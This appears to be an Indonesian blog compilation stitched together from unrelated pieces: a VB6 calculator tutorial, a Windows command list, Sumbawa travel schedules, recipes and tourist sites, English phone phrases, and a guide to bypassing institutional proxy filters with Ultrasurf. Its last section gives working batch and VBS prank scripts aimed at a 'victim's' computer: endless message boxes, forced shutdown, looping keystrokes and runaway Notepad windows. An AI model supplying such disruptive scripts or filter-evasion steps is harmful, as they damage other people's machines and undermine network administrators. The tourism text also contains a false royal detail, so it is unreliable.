PULAU SUMBAWA

Program kalkulator adalah program standar yang sudah tersedia di Microsoft Windows. Tetapi, tak ada salahnya jika kita mencoba membuat kalkulator sendiri dengan Microsoft Visual Basic 6.0.
Pertama-tama, buatlah sebuah form sesuai selera Anda, yang bentuknya kurang lebih seperti
kalkulator standar Windows, seperti ini:





Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak
masing-masing objek disesuaikan dengan gambar diatas.
Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7

Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua
setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub.

Berikut ini adalah daftar perintah-perintah command prompt yang ada pada MS-DOS mode di Windows XP. Untuk informasi lebih spesifik mengenai suatu perintah, ketik HELP nama-perintah di jendela Command Prompt.

ASSOC
Menampilkan atau mengubah asosiasi ekstensi file.

AT
Menjadwalkan perintah dan program agar berjalan di komputer pada waktu tertentu.

ATTRIB
Menampilkan atau mengubah atribut suatu file.

BREAK
Mengatur atau menghilangkan pemeriksaan extended CTRL+C.

CACLS
Menampilkan atau mengubah daftar kontrol akses (ACLs) dari files.

CALL
Memanggil sebuah program batch dari program batch yang lain.

CD / CHDIR
Menampilkan nama atau mengubah direktori sekarang.

CHCP
Menampilkan atau mengubah nomor active code page.

CHKDSK
Memeriksa sebuah disket/harddisk dan menampilkan laporan status disket/harddisk tersebut.

CHKNTFS
Menampilkan atau mengubah proses pemeriksaan disket pada saat booting.

CLS
Menghapus layar jendela command prompt.

CMD
Menjalankan interpreter perintah Windows yang baru.

COLOR
Mengubah warna teks dan latar pada command prompt.

COMP
Membandingkan isi dari dua atau beberapa file.

COMPACT
Menampilkan atau mengubah kompresi file pada partisi NTFS.

CONVERT
Mengkonversi FAT ke NTFS. Anda tidak dapat mengkonversi drive yang sedang aktif.

COPY
Menyalin satu atau beberapa file ke lokasi lain.

DATE
Menampilkan atau mengubah tanggal.

DEL / ERASE
Menghapus satu atau beberapa file.

DIR
Menampilkan daftar file dan subdirektori dalam sebuah direktori.

DISKCOMP
Membandingkan isi dari dua buah disket.

DISKCOPY
Menyalin isi dari satu disket ke disket lain.

DOSKEY
Mengedit baris perintah, memanggil kembali perintah Windows, dan membuat macro.

ECHO
Menampilkan pesan, atau mengubah command echoing on atau off.

ENDLOCAL
Mengakhiri lokalisasi dan perubahan environment pada sebuah batch file..

EXIT
Keluar dari program CMD.EXE dan menutup jendela command prompt.

FC
Membandingkan dua atau beberapa file, dan Menampilkan perbedaan file-file tersebut.

FIND
Mencari string teks dalam sebuah file atau beberapa file.

FINDSTR
Mencari string dalam file.

FOR
Menjalankan perintah yang spesifik untuk masing-masing file dalam sekumpulan file.

FORMAT
Mem-Format sebuah hardisk/disket untuk digunakan di Windows.

FTYPE
Menampilkan atau mengubah tipe file yang digunakan dalam asosiasi ekstensi file.

GOTO
Mengarahkan Windows command interpreter ke baris yang berlabel dalam sebuah program batch.

GRAFTABL
Memperbolehkan Windows untuk menampilkan sekumpulan karakter extended dalam mode grafik.

HELP
Menyediakan informasi bantuan untuk perintah-perintah Windows.

IF
Menjalankan pemrosesan kondisional dalam program batch.

LABEL
Membuat, mengubah, atau menghapus volume label dari sebuah disket/harddisk.

MD / MKDIR
Membuat direktori.

MODE
Mengkonfigurasi alat yang ada pada sistem.

MORE
Menampilkan hasil perlayar.

MOVE
Memindahkan satu atau beberapa file dari satu direktori ke direktori yang lain.

PATH
Menampilkan atau mengatur path pencarian untuk executable files.

PAUSE
Menunda pemrosesan dari sebuah batch file dan menampilkan pesan.

POPD
Mengembalikan nilai sebelumnya dari direktori sekarang yang disimpan oleh PUSH.

PRINT
Mencetak file teks.

PROMPT
Mengubah command prompt Windows.

PUSHD
Menyimpan direktori sekarang kemudian mengubahnya.

RD /RMDIR
Menghapus direktori.

RECOVER
Mengembalikan informasi yang masih dapat dibaca dari sebuah disket/harddisk yang sudah bad/rusak.

REM
Menulis komentar dalam batch files atau CONFIG.SYS.

REN / RENAME
Mengubah nama file.

REPLACE
Mengganti file.

SET
Menampilkan, mengatur, atau menghapus variabel lingkungan Windows.

SETLOCAL
Memulai lokalisasi dari perubahan lingkungan dalam sebuah batch file.

SHIFT
Menggeser posisi parameter yang dapat diganti dalam sebuah batch files.

SORT
Menyortir input.

START
Membuka jendela baru untuk menjalankan perintah atau program yang spesifik.

SUBST
Membuat virtual drive dari sebuah direktori.

TIME
Menampilkan atau mengatur waktu sistem.

TITLE
Mengatur judul untuk jendela command prompt yang aktif.

TREE
Menampilkan secara grafis struktur direktori dari sebuah drive atau path.

TYPE
Menampilkan isi dari sebuah file teks.

VER
Menampilkan versi Windows yang anda gunakan.

VERIFY
Memberitahu Windows untuk memeriksa apakah file anda telah disimpan secara benar dalam disket/harddisk.

VOL
Menampilkan nomor serial dan volume label dari sebuah harddisk/disket.

XCOPY
Menyalin file serta pohon direktori.

Pembatasan proxy pada suatu jaringan memang sering dijumpai. Tidak sedikit pula di unit kampus dan instansi sering mengalami gangguan koneksi saat kita browsing-browsing. Hal ini dapat kita atasi dengan meng-hack proxy yang ada di jaringan yang kita pakai. Salah satu software yang dapat menembus proxy adalah Ultrasurf. Ultrasurf ini dibuat oleh UltraReach Internet Corp.

Prinsip kerja dari hack proxy ini adalah menggunakan proxy orang lain dalam hal ini ultrasurf. Langkah-langkah sebagai berikut :

1. Pastikan komputer anda terinstall program Ultrasurf versi apapun. Jika belum ada maka silahkan download di google,ada banyak tuh..

2. Jalankan aplikasi ultrasurf

3. Anda hanya perlu mengubah setting dari ultrasurf untuk penggunaan proxy ultrasurf dengan cara klik option-proxy setting dan pilih proxy : directly use ultrasurf.

5. Contreng Don’t Use IE jika anda tidak ingin menggunakan browser IE. Jika tidak maka saat anda membuka ultrasurf maka secara otomatis IE akan running.

6. Contreng “Hide Golden Lock” jika anda tidak ingin mengeluarkan gambar gembok di pojok kanan bawah komputer anda

7. Jika terdapat informasi box bahwa “Succesfully Connected To Server” maka ultrasurf sudah dapat anda gunakan dengan baik.

8. Jika terdapat informasi “Cannot conect” atau “Please Check your connection” maka ultrasurf tidak dapat anda pakai.

9. Setelah ultrasurf dalam keadaan succes maka lakukan setting terhadap connection pada browser anda dengan klik tool - options

10. Klik Network-Setting

11. Isikan HTTP proxy configuration 127.0.0.1 Port 9666. Contreng Use this proxy for all protocols. Isikan pada No Proxy For : localhost, 127.0.0.1

12. Klik Ok dan Anda dapat melakukan internet tanpa gangguan apapun.

13. Selamat Mencoba

14. PISS buat para IT hehehe .

Jadwal Keberangkatan Travel

No.

Nama Travel

Jadwal Keberangkatan

Alamat/Telepon
Sumbawa-Mataram

Mataram-Sumbawa.

1. Sumbawa Utama 05.00 Wita 09.00 Wita Jln. Diponegoro No. 4A Sumbawa Besar (Telepon 0371-21168)
09.00 Wita 14.00 Wita Jln. Pejanggik No.106 Cakranegara (Telepon 0370-621663)
21.00 Wita 17.00 Wita
2. Panca Sari 05.30 Wita 10.00 Wita Jln. Diponegoro no.49 Sumbawa Besar (Telepon 0371-21513)
11.00 Wita 14.00 Wita Jln. Panca Usaha Block.A No.18 Belakang Mall Mataram (Telepon 0370-6650555)
22.00 Wita 18.00 Wita
20.00 Wita
3. Titian Mas 06.00 Wita 09.00 Wita Jln. Manggis No.8 Sumbawa Besar (Telepon 0371-22176)
11.00 Wita 10.00 Wita Jln. Kartini No.89 Sumbawa Besar (Telepon 0371-21686)
21.00 Wita 16.00 Wita Jl. Pejanggik N0.86 B. Cakra Negara (Telepon 0370-629303/647468)
22.00 Wita 18.00 Wita
4. Tiara Mas 05.00 Wita 07.00 Wita Jln.Yos Sudarso Sumbawa Besar (Telepon 0371-21241/21428)
12.00 Wita 10.00 Wita Jln. Laksmana No.3 Mataram (Telepon 0370-640612)
15.00 Wita 14.00 Wita Jln. Salaparang No.85/4 Mataram (Telepon 0370-636935)
19.00 Wita 19.00 Wita
22.00 Wita 22.00 Wita
5. Angkasa Jaya 22.00 Wita 10.00 Wita Jln. Diponegoro No.61 Telpon.081332452197 Sumbawa Besar
06.00 Wita 02.00 Wita Jln. Pejanggik No. 34 B Telpon. 081916807975 Mataram



Jadwal Penerbangan ke Sumbawa



No.

Rute

Flight

Frequenncy

Depart

Arrive
1 Sumbawa - Mataram
TGN 562
Mon, Wed, Fri, Sat
14.00 Wita

14.30 Wita
2 Sumbawa - Mataram
TGN 562
Tue,Thu,Sun
10.00 Wita

10.30 Wita
3 Mataram - Sumbawa
TGN 561
Mon, Wed, Fri, Sat
13.00 Wita

13.30 Wita
4 Mataram - Sumbawa
TGN 561
Tue,Thu,Sun
09.00 Wita

09.30 Wita

Keterangan :
*) Jadual dalam waktu setempat Penerbangan menggunakan Pesawat Trigana Air (ATR 42)
*) Jadual sewakltu - dapat berubah-ubah. Untuk Konfirmasi hubungi alamat berikut ini :

TransNusa Sumbawa Jl. Hasanuddin No. 110 Telepon 0371-21565
TransNusa Mataram Telepon 0370-624555
.

Jadual Penyeberangan
Penyeberangan dari Pelabuhan Kayangan (Lombok) menuju Pelabuhan Poto Tano (Sumbawa) menggunakan kapal ferry dengan jadual 24 jam non stop.

CONVERSATION BY PHONE



When you are a caller
-- Hello?
-- Is that John?
-- Can I speak to John?
-- May I speak to John?.
When you are a receiver
-- This is John speaking, who's that?
-- Who's speaking please?
-- Who's calling please?
When you ask the caller to wait
-- One moment please.
-- Just a minute please.
-- Hold on please.
-- Hang on please
When you ask the caller to leave messages
-- Can you leave the message?
-- Can I take your message?
-- Would you like to leave a message?
-- Would you like him/her to call you back?
When calling the wrong number
-- I'm afraid you got the wrong number
-- Sorry, I think you reach the wrong number
When asking the receiver to transfer the line
-- Can I have extension 1234 please?
-- Could you please transfer the line to Mr. John please?
When finish talking
-- Nice talking to you
-- Talk to you later

RESEP - RESEP MASAKAN KHAS SUMBAWA


Mungkin anda pernah datang ke Sumbawa, sehingga sempat untuk menikmati hidangan - hidangan kuliner khas Sumbawa, yang cukup beraneka ragam masakannya. Masakan - masakan tersebut menjadi salah satu ciri khas Kota Sumbawa Besar. Hidangan - hidangan tersebut antara lain:




SEPAT IKAN



Deskripsi:

Sepat adalah masakan khas daerah Sumbawa, rasanya asam - asam segar. Biasanya di bulan puasa, 30 hari puasa maka 30 hari sepat hadir menemani berbuka. Ibu- ibu yang ngidam selalu pengennya sepat, makanan ini populer di Sumbawa. Memang inilah salah satu resep masakan khas daerah Sumbawa.




Bahan - bahan:
-1 pound ikan segar apa saja, dibakar
-1 buah terong ungu, dibakar, kupas, dirobek kasar.
-daun basil segenggam, robek kasar.
-3 buah shallot, dibakar, kupas
-3 buah kemiri, dibakar
-5 buah thai chilli, dibakar
-1 buah tomat, dibakar
-garam dan msg secukupnya
-air matang segelas
-krupuk kulit
-2 buah jeruk sambel

Cara masak:
Uleg garam dan kemiri sampai halus, masukkan shallot, tomat, cabe, diuleg kasar. Masukkan ke mangkok, dikasih air matang, perasan jeruk sambel, msg, terong ungu, daun basil. Cicipi sampe rasanya asam segar menggigit. Kemudian masukkan ikan bakar dan kasi krupuk kulit di atasnya.

Cara makannya:
Jangan digenangi di atas nasi seperti makan sop, tapi di makan terpisah,sendoki nasinya dan sruput sepatnya,begitulah cara Orang Sumbawa makan sepat.



Resep Masakan Ayam Bakar Sumbawa







Bahan – bahan:


• 1 ekor Ayam kampung dipotong empat bagian
• 1 batang Kayu manis
• 3 biji Cengkih
• 5 lembar Daun jeruk
• 1/2 lembar Daun kunyit
• 2 batang Sereh
• 3 sdm Minyak goreng
• 500 ml Santan sedang kentalnya
• 100 ml Santan kental
Bumbu yang dihaluskan :
• 4 buah Cabe merah
• 3 siung Bawang putih
• 4 buah Bawang merah
• 1/2 sdm Ketumbar
• 1/2 sdt Adas manis
• 1/2 sdt Jintan
• 1/2 sdt Lada
• 2 cm Jahe
• 2 cm Lengkuas
• 3 cm Kunyit
• 3 biji Kemiri
Cara membuat:


• Tumis bumbu yang dihaluskan dengan minyak goreng beserta kayu manis, cengkeh, daun jeruk, daun kunyit dan daun sereh hingga harum dan matang.
• Masukkan ayam, tumis dengan bumbu hingga ayam setengah matang.
• Tambahkan santan encer, kecilkan api, masak hingga kuah tinggal sedikit.
• Tambahkan santan kental masak kembali hingga kuah mulai mengering, angkat dinginkan.
• Setelah dingin lumuri seluruh permukaan ayam dengan sisa kuah yang mengering kemudian bakar hingga agak kekuningan.
• Siap dihidangkan.





Resep Masakan Gecok Sumbawa

BAHAN – BAHAN:

1) Hati sapi ½ kg
2) Daging ½ kg
3) Jeroan ½ kg
4) Minyak goreng ¼ botol
5) Kelapa ½ butir

BUMBU – BUMBU:

1) Bawang merah 1 ons
2) Sereh 4 batang
3) Bawang putih 5 siung
4) Jeruk nipis ½ butir
5) Lombok merah 5 buah
6) Asam 4 mata
7) Lombok rawit 3 buah
8 ) Daun jeruk purut 1 lembar
9) 5 biji Kemiri
10) Belimbing wuluh 5 buah
11) Lada 5 biji
12) wijen 10 sendok makan
13) Laos 1 potong

CARA PEMBUATAN:

1) Hati, daging, jeroan direbus lalu diiris-iris.
2) Kelapa diparut, sebagian dibuat santan, sebagian disangan dan dihaluskan.
3) Wijen disangan dan dihaluskan.
4) Lada, garam, bawang merah, bawang putih, kemiri, dan lombok rawit, dihaluskan, ditumis, dimasukkan laos dan sereh.
5) Santan dan kelapa sangan dimasukkan, dibiarkan sampai kental lalu diangkat, dibiarkan sampai dingin dan wijen dimasukkan.
6) Bawang merah, lombok merah, daun jeruk purut diiris-iris, lalu digoreng. Belimbing diiris bulat-bulat.
7) Daging, hati, jeroan dan sebagian bumbu yang digoreng dan bumbu yang ditumis dicampur.
8 ) Masakan ini dihiasi dengan bumbu yang digoreng pada langkah no.6.


RESEP MASAKAN SINGANG SUMBAWA








BAHAN-BAHAN:


- IKAN LAUT ( BEBAS IKAN APA SAJA ),BUMBU HALUS SECUKUPNYA/ SESUAI SELERA, , KUNYIT, KEMIRI, CABE MERAH, CABE RAWIT, BAWANG PUTIH, BAWANG MERAH DI IRIS, AIR ASAM JAWA, GARAM, PENYEDAP RASA

CARA MEMBUAT:


IKAN DI BERSIHKAN LALU DI POTONG - POTONG SESUAI SELERA, TUMIS BAWANG MERAH SAMPAI HARUM LALU MASUKAN BUMBU HALUS TUMIS SAMPAI HARUM, LALU MASUKAN AIR ASAM JAWA, IKAN, KEMUDIAN TUNGGU SAMPAI IKANNYA KELIHATAN MATANG LALU DI ANGKAT.

Obyek Wisata Alam
Lokasi Obyek Wisata Dan Tempat Rekreasi Di Kabupaten Sumbawa Tahun 2008

No. Nama Obyek Wisata Jenis Obyek Lokasi Desa/Kelurahan Kecamatan
1. Dalam Loka Istana Raja Sumbawa Seketeng Sumbawa
2. Bala Kuning Rumah Keluarga Sultan Seketeng Sumbawa
3. Saliper Ate Pantai (Taman Rekreasi) Labuhan Sumbawa Labuhan Badas
4. Batu Kuping Pantai Kel. BrangBiji Sumbawa
5. Tanjung Menangis Pantai, Goa Kel. BrangBiji Sumbawa
6. Pantai Tanjung Pasir Pantai (Snorkling) Pulau Moyo Labuhan Badas
7. Ai Manis Pantai (Snorkling) Pulau Moyo Labuhan Badas
8. Wisma Praja Istana Sultan Brangbara Sumbawa
9. Dsn Wisata Pamulung Dusun Tradisional Karang Dima Labuhan Badas
10. Pantai Gua/Tanjung Pengamas Pantai Karang Dima Labuhan Badas
11. Pantai Empan Pantai Dusun Empan Labuhan Badas
12. Ai Mata Jitu Air Terjun Labuhan Aji(Pulau Moyo) Labuhan Badas
13. Batu Gong Pantai Labuhan Badas Labuhan Badas
14. Pulau Moyo (Tj. Pasir) Pantai/Taman Laut/Taman Buru Labuhan Aji Labuhan Badas
15. Dusun Wisata Perung Rumah Tradisional Desa Pelat Unter Iwes
16. Semongkat Kolam Renang /Alam Dusun Semongkat Batu Lanteh
17. Desa Wisata Tepal Rumah Tradisonal Dusun Tepal Batu Lanteh
18. Pulau Dangar Taman Laut Labuhan Ijuk Moyo Utara
19. Dsn. Wisata Poto Pengrajin Tenun Desa Poto Moyo Hilir
20. Labuhan Sawo Pantai Desa Penyaring Moyo Utara
21. Ai Beling Air Terjun Desa Sempe Moyo Hulu
22. Liang Petang Gua Alam Desa Batu Tering Moyo Hulu
23. Ai Putih Air Terjun Desa Sempe (Kuang Amo) Moyo Hulu
24. Bendungan Batu Bulan Bendungan Batu Bulan Moyo Hulu
25. Sarkopagus Kuburan Tua Ai Renung (Batu Tering) Moyo Hulu
26. Teba Murin Air Terjun Lenangguar Lenangguar
27. Tiu Pasai Air Terjun Lape Lape
28. Pulau Ngali Pantai Labuhan Kuris Lape
29. Bendumngan Mamak Bendungan Mamak Lopok
30. Pantai Sekokat Pantai Labangka Labangka
31. Ai Panas Sumber Air Panas Maronge Maronge
32. Gili Setigi Pulau dan Pantai Labuhan Jontal Plampang
33. Telaga Lompa Danau Alam Pengunungan Muer Maronge
34. Liang Dewa Pegunungan/Pantai Labangka Labangka
35. Tiu Kulit Bendungan Simu Maronge
36. Gili Tapan Pulau Plampang Maronge
37. Jemplung Pantai Labuhan Jambu Tarano
38. Pantai Maci Pantai/Selancar Mata Tarano
39. Pulau Rakit Pantai Labuhan Jambu Tarano
40. Pulau Depi Pantai Labuhan Bontong Tarano
41. Brang Bako Pantai Jotang Empang
42. Teluk Saleh Pantai Labuhan Jambu Tarano
43. Pulau Raja Kepe Pulau/Pantai Empang Empang
44. Pantai Sili Pantai/Selancar Mata Tarano
45. Pantai Tero Pantai Jotang Empang
46. Makam Kerongkeng Kuburan Keramat Kerongkeng Tarano
47. Batu Gong Gong Terbuat Dari Batu Orong Bawa (Utan) Utan
48. Gili Bedil Pulau/Pantai, Alam Laut Labuhan Padi Utan
49. Gili Keramat Pulau/Pantai, Alam Laut Labuhan Padi Utan


Pantai Saliper Ate
Saliper berarti pelipur/penenang/penyejuk. Ate berarti hati. Sesuai dengan namanya pantai Saliper Ate berarti pantai yang dapat menenangkan/ menyejukan hati pengunjungnya. Terletak sekitar 5 Km kearah barat kota Sumbawa Besar, lokasinya mudah dijangkau dengan transportasi darat ( bemo kota). Sebelum pariwisata berkembang pantai Saliper Ate merupakan satu-satunya tempat rekreasi masyarakat Sumbawa.

Pantai Kencana
Pantai Kencana yang jaraknya sekitar 11 Km dari Kota Sumbawa Besar merupakan pantai yang cukup menawan. Dengan bentuk pantai yang melengkung dan dikedua ujung lengkungannya masing-masing mempunyai rona tersendiri. Terutama dilengkungan bagian kanannya berdiri batu karang berbentuk alami dengan bolongannya yang setiap saat dicium ombak. Disekitar pantai juga tersedia fasilitas-fasilitas wisata berupa cottage dengan bentuk bangunan khas daerah Sumbawa.

Samongkat
Obyek wisata alam pegunungan ini berada pada ketinggian + 450 meter diatas permukaan air laut, jaraknya 17 km dari kota Sumbawa Besar. Jalan yang berbelok-belok dengan pemandangan perbukitan dan lembah-lembah ini dapat ditempuh dengan berbagai kendaraaan.Fasilitas yang tersedia antara lain kolam renang dan shelter.

Pulau Moyo ( Moyo Island)
Terletak Sebelah utara Sumbawa dan di mulut teluk Saleh dengan luas + 30 Ha.Pulau Moyo mempunyai obyek wisata darat dan laut. Hutan tropis pulau Moyo merupakan habitat kawanan rusa, sapi liar, babi hutan dan burung gosong (megapodius) yang dilindungi, juga terdapat air terterjun bertingkat mata jitu. Wisata baharinya menyediakan panorama bawah laut yang indah untuk kegiatan menyelam (Snorkling dan Skuba diving), bahkan mulai dari dermaga pulau moyo sudah dapat dilihat ribuan ikan kecil. Lady Diana dari kerajaan Inggris dan Prince William dari kerajaan Belanda pernah datang berlibur ke Pulau Moyo.

Pantai Ai Manis
Terletak di daratan pulau Moyo yang berpasir putih dan pemandangan bawah laut dengan terumbu karang dan tropikal fish-nya yang menawan serta hutan tropis yang ada disekitarnya menjadikan Ai Manis sangat cocok bagi kegiatan camping, Snorkling, dan sebagainya. Dari Ai manis dapat disaksikan tenggelamnya matahari (Sunset). jalan-jalan di hutan tropis sekitar Ai Manis akan tersaji secara alami flora dan fauna seperti rusa, sapi liar, Babi hutan, burung koakkao, kakatua dan burung gosong yang dilindung. Tidak jauh dari Ai Manis terdapat gua kelelawar. Ai Manis dapat ditempuh lebih kurang 30 menit dengan speed boat dari Ai Bari kecamatan Moyo Hilir.

Liang Petang
Sebuah gua alam yang di dalamnya terdapat batu yang mirip manusia, balai-balai (pantar), alat tenun, dan juga dipenuhi stalagnit dan stalagtit. Letaknya di desa batu Tering kecamayan Moyo Hulu dengan jarak 29 km dari kota Sumbawa Besar. Tidak jauh dari gua ini terdapat pula gua kelelawar (Liang Bukal).

Teluk Saleh (Saleh Bay)
Merupakan gugusan berpasir putih dengan koralnya yang indah dan beranekan ragam ikan hias dengan airnya yang tenang, sangat cocok sebagai tempat berenang, dan menyelam untuk melihat pemandangan bawah laut. Teluk Saleh merupakan perairan yang kaya dengan aneka ikan laut seperti ikan kerapu yang hasilnya telah diekspor ke berbagai negara antara lain Jepang, Hongkong dan Singapura. Dari Teluk Saleh ini tampak jelas Gunung Tambora yang mempunyai kawah (Caldera) terluas di dunia.

10 Trik Notepad Yang Bikin Komputer Korban Stress
1. Membuat message box yang selalu keluar :
copy:

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

Simpan dengan format *.bat
Yang ini hanya bisa di close mungkin dengan process hacker gan, sama taskmngr nggak bisa ...

2. Bikin komputer korban shutdown dan message box keluar
copy:

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"

Simpan dengan format *.bat juga ...

3. Membuat Capslock terus menyala
copy:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan dengan format *.vbs, bisa di close sama Task Manager atau PH

4. Membuka dan menutup CD/DVD komputer korban
copy:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan format *.vbs juga ya gan!

5. Membuat vbscript terus muncul
copy:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Simpan dengan format *.vbs, mungkin sama taskmngr bisa di close ...

6. Terus - menerus menekan tombol "backspace"
copy:

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Simpan dengan format *.vbs, pasti yang berformat *vbs bisa di kill sama taskmngr

7. Otomatis menulis "Lu jelek banget sih" di notepad atau di word
copy:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop

Simpan dengan format *.vbs, sendkeysnya bisa di ganti ...

8. Terus - menerus membuka notepad
copy:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan dengan format *.bat, bisa juga di ganti apa yang mau di bukanya, asalkan tau di mana disimpennya ...

9. Sama dengan trik nomor tujuh, tapi berbeda khas
copy:


WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
WshShell.SendKeys "mu "
WScript.Sleep 50
WshShell.SendKeys "je"
WScript.Sleep 50
WshShell.SendKeys "le"
WScript.Sleep 50
WshShell.SendKeys "k "
WScript.Sleep 50
WshShell.SendKeys " se"
WScript.Sleep 50
WshShell.SendKeys "ka"
WScript.Sleep 50
